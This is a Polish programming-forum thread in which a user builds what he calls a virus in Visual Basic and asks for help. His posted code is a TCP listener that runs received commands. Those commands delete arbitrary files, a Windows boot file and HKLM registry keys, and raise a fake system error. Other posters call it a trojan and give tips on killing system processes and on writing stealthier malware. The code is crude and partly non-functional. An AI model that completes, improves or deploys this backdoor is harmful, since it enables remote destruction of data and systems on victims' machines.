Pokaż wyniki 1 do 9 z 9

Temat: Jak sterować wirusem?

  1. #1
    Zarejestrowany
    Nov 2009
    Postów
    30

    Question Jak sterować wirusem?

    Witam. Mam spory problemik. Chcę w swoim projekcie zastosować taki kod:
    Shared Sub Connect(server As [String], message As [String])
    Try
    ' Create a TcpClient.
    ' Note, for this client to work you need to have a TcpServer
    ' connected to the same address as specified by the server, port
    ' combination.
    Dim port As Int32 = 13000
    Dim client As New TcpClient(server, port)

    ' Translate the passed message into ASCII and store it as a Byte array.
    Dim data As [Byte]() = System.Text.Encoding.ASCII.GetBytes(message)

    ' Get a client stream for reading and writing.
    ' Stream stream = client.GetStream();
    Dim stream As NetworkStream = client.GetStream()

    ' Send the message to the connected TcpServer.
    stream.Write(data, 0, data.Length)

    Console.WriteLine("Sent: {0}", message)

    ' Receive the TcpServer.response.
    ' Buffer to store the response bytes.
    data = New [Byte](256) {}

    ' String to store the response ASCII representation.
    Dim responseData As [String] = [String].Empty

    ' Read the first batch of the TcpServer response bytes.
    Dim bytes As Int32 = stream.Read(data, 0, data.Length)
    responseData = System.Text.Encoding.ASCII.GetString(data, 0, bytes)
    Console.WriteLine("Received: {0}", responseData)

    ' Close everything.
    stream.Close()
    client.Close()
    Catch e As ArgumentNullException
    Console.WriteLine("ArgumentNullException: {0}", e)
    Catch e As SocketException
    Console.WriteLine("SocketException: {0}", e)
    End Try

    Console.WriteLine(ControlChars.Cr + " Press Enter to continue...")
    Console.Read()
    End Sub 'Connect
    I problem jest w tym, że nie wiem jak to przerobić by jeśli wiadowmość to: "kill" to kill("C:\Windows"). I jeszcze mam jedno pytanie. Jak wysłać taką wiadomość?

  2. #2
    Avatar GSG-9
    GSG-9 jest offline Shapeshifter
    Zarejestrowany
    Jul 2007
    Skąd
    C:\Perl\bin
    Postów
    1,578

    Domyślnie

    Cytat Napisał xardas97 Zobacz post
    I problem jest w tym, że nie wiem jak to przerobić by jeśli wiadowmość to: "kill" to kill("C:\Windows"). I jeszcze mam jedno pytanie. Jak wysłać taką wiadomość?
    1. wirusy sa autonomiczne...
    2. chcesz zabic katalog?
    3. nawet nie podales jaki to jezyk.
    War, war never changes.

  3. #3
    Zarejestrowany
    Dec 2009
    Postów
    164

    Domyślnie

    to chyba C#, smiac mi sie chce ze chcesz usunac caly katalog Windows, choc nie da sie tego zrobic,
    dlaczego ?
    aplikacje ktore aktualnie dzialaja ? ofc mozesz je zabic pozyskujac systemowy token do nich, gdy w koncu zabijesz te procesy, system ulegnie najprawdopodobniej zwieszeniu , to taka wskazowka do napisania tego wirusa, to takie podstawowe punkty ktore musisz ominac
    Ostatnio edytowane przez g3t_d0wn : 01-12-2010 - 21:37

  4. #4
    Zarejestrowany
    Nov 2009
    Postów
    30

    Domyślnie

    Ten katalog to był przykład. Język to Visual Basic

  5. #5
    Avatar Michal_sh
    Michal_sh jest offline (s)aint
    Zarejestrowany
    Apr 2007
    Postów
    688

    Domyślnie

    jeśli tym chcesz sterować to nie będzie wirus tylko koń trojański. Hmm a jak tego dokonać poczytaj tematy jakie ostatnio zakładałem. Prosiłem w nich min. o implementacje jakiegoś IM w c++ lub pythonie z resztą zobacz sam.
    Obiło mi sie o uszy ostatnio coś takiego :
    Każdy, kto daje ci gotową receptę, nie jest przyjacielem - jest twoim wrogiem.
    Więc nie wkleje swojego kodu nad którym długo pracowałem. Mi też nikt nie dał gotowca oprócz tego ze nie skorzytałem z forumowych podpowiedzi to dały mi one do myślenia i przy okazji Thx wszytkim co się przyczynili do mojego trojana hehe Czasami gotowce są wręcz niezbędne(trzeba sobie pomagać ja np nie znam wcale PHP i oczekuje gotowców) ale nie w tym wypadku ty potrzebujesz podpowiedzi

  6. #6
    Zarejestrowany
    Nov 2009
    Postów
    30

    Domyślnie

    Zrobiłem inaczej.... napisałem tcp listner, który słuchja na danym porcie. No, może sterowanie to nie jest, ale zawsze coś

  7. #7
    Avatar Michal_sh
    Michal_sh jest offline (s)aint
    Zarejestrowany
    Apr 2007
    Postów
    688

    Domyślnie

    A co z działaniem za NATem

  8. #8
    Zarejestrowany
    Nov 2009
    Postów
    30

    Question

    Troche ulepszyłem kod:
    Kod:
    Dim port As Int32 = 13000
                Dim localAddr As IPAddress = IPAddress.Parse("127.0.0.1")
    
                server = New TcpListener(localAddr, port)
    
    
                server.Start()
    
    
                Dim bytes(1024) As Byte
                Dim data As String = Nothing
    
    
                While True
    
    
    
    
                    Dim client As TcpClient = server.AcceptTcpClient()
    
    
                    data = Nothing
    
    
                    Dim stream As NetworkStream = client.GetStream()
    
                    Dim i As Int32
    
    
                    i = stream.Read(bytes, 0, bytes.Length)
                    While (i <> 0)
    
                        data = System.Text.Encoding.ASCII.GetString(bytes, 0, i)
    
                        If data = "Kill_Autostart_Me" Then
                            Kill("C:\Documents And Settings\All users\LockER.W32.Trj")
                        End If
    
                        If data = "Kill Boot.sdi" Then
                            Kill("C:\Windows\Boot\DVD\EFI\boot.sdi")
    
                        End If
                        If data = "RegEdit: IN Function" Then
                            Dim regKey As RegistryKey
                            regKey = Registry.LocalMachine.OpenSubKey("Software", True)
                            regKey.DeleteSubKey("Intel", True)
                            regKey.Close()
    
                        End If
                        If data = "Get error" Then
                            MsgBox("Error!!! krnl32.exe isn't on disk!")
    
                        End If
                        Dim tekst As String = Nothing
                        Dim tekst2 As String = Nothing
                        If data = "Kill" & tekst Then
                            Kill(tekst)
                        End If
                        If data = "RegEditAdv:" & tekst & tekst2 Then
                            Dim regKey2 As RegistryKey
                            regKey2 = Registry.LocalMachine.OpenSubKey(tekst, True)
                            regKey2.DeleteSubKey(tekst2, True)
                            regKey2.Close()
    
                        End If
                        If data = "txt:" & tekst Then
                            Console.Write(tekst)
                        End If
    
                        data = data.ToUpper()
                        Dim msg As Byte() = System.Text.Encoding.ASCII.GetBytes(data)
    
    
                        stream.Write(msg, 0, msg.Length)
    
    
                        i = stream.Read(bytes, 0, bytes.Length)
    
                    End While
    
    
                    client.Close()
                End While
            Catch e As SocketException
    
            Finally
                server.Stop()
            End Try
    
    
    
            Console.ReadLine()
    
        End Sub
    End Module
    Oczywiście tutaj tylko samo "jądro" wirusa. Czy coś można by było poprawić?

  9. #9
    Zarejestrowany
    Aug 2009
    Postów
    408

    Domyślnie

    nigdy ale to przenigdy nie uzywaj sciezek do plikow.
    szczegolnie jak zakladasz ze c: jest systemowa partycja.

    wirus nie moze byc 'swiadome' swojego polozenia w systemie, zaden program nie moze byc.

    filesystem jest dla uzytkownika, ty wrzucasz gdzies wirusa i na tym koniec.

    nie mozesz szukac plikow /ok mozesz, ale nie powinienies/.

    tyczy sie to kazdego nazwanego obiektu. nazwy sa dla userow, program nigdy nie wybiera jej.


    tworz tylko anonimowe obiekty, przekazuj/dziedzicz/duplikuj handle.


    nie uzywaj ascii/ansi tylko utf-16 - windows dziala pod utf-16 i tylko na tym kodowaniu sie opieraj. jak trafisz na obiekt z wyzszym bajtem != 0 otworzysz nie ten plik/nie otworzysz zadnego. program bedzie widzial tylko dolny bajt.


    rejestr - tez go nie uzywaj. nie powinienes. trojany nie musza przechowywac danych, szczegolnie te prostsze.
    w innym przypadku lepiej uzyj pliku konfiguracyjnego z uzyciem relatywnej sciezki, choc tez nie powinienes.

    najlepiej przechowuj wszystko w pamieci, wysylaj do servera jak trzeba (konczy sie bufor/user wylacza system).
    uzywanie nazwanych obiektow nie jest dobrym wyjsciem - za duzo problemow. moze sobie z tego teraz nie zdajesz sprawy, ale jak wytrzymasz jeszcze pare lat przekonasz sie o czym mowie.

Podobne wątki

  1. Problem z wirusem na stronie www
    By qiqqq in forum Wirusy/Konie trojańskie
    Odpowiedzi: 1
    Autor: 12-22-2009, 10:21
  2. Problem z wirusem napisanym przeze mnie
    By xardas97 in forum Wirusy/Konie trojańskie
    Odpowiedzi: 1
    Autor: 12-19-2009, 20:58
  3. Problem z trojanem oraz wirusem "Virut"
    By MateS in forum Wirusy/Konie trojańskie
    Odpowiedzi: 1
    Autor: 08-16-2009, 19:58
  4. Problem z bardzo dziwnym wirusem.
    By figus in forum Security
    Odpowiedzi: 90
    Autor: 07-16-2008, 12:57

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj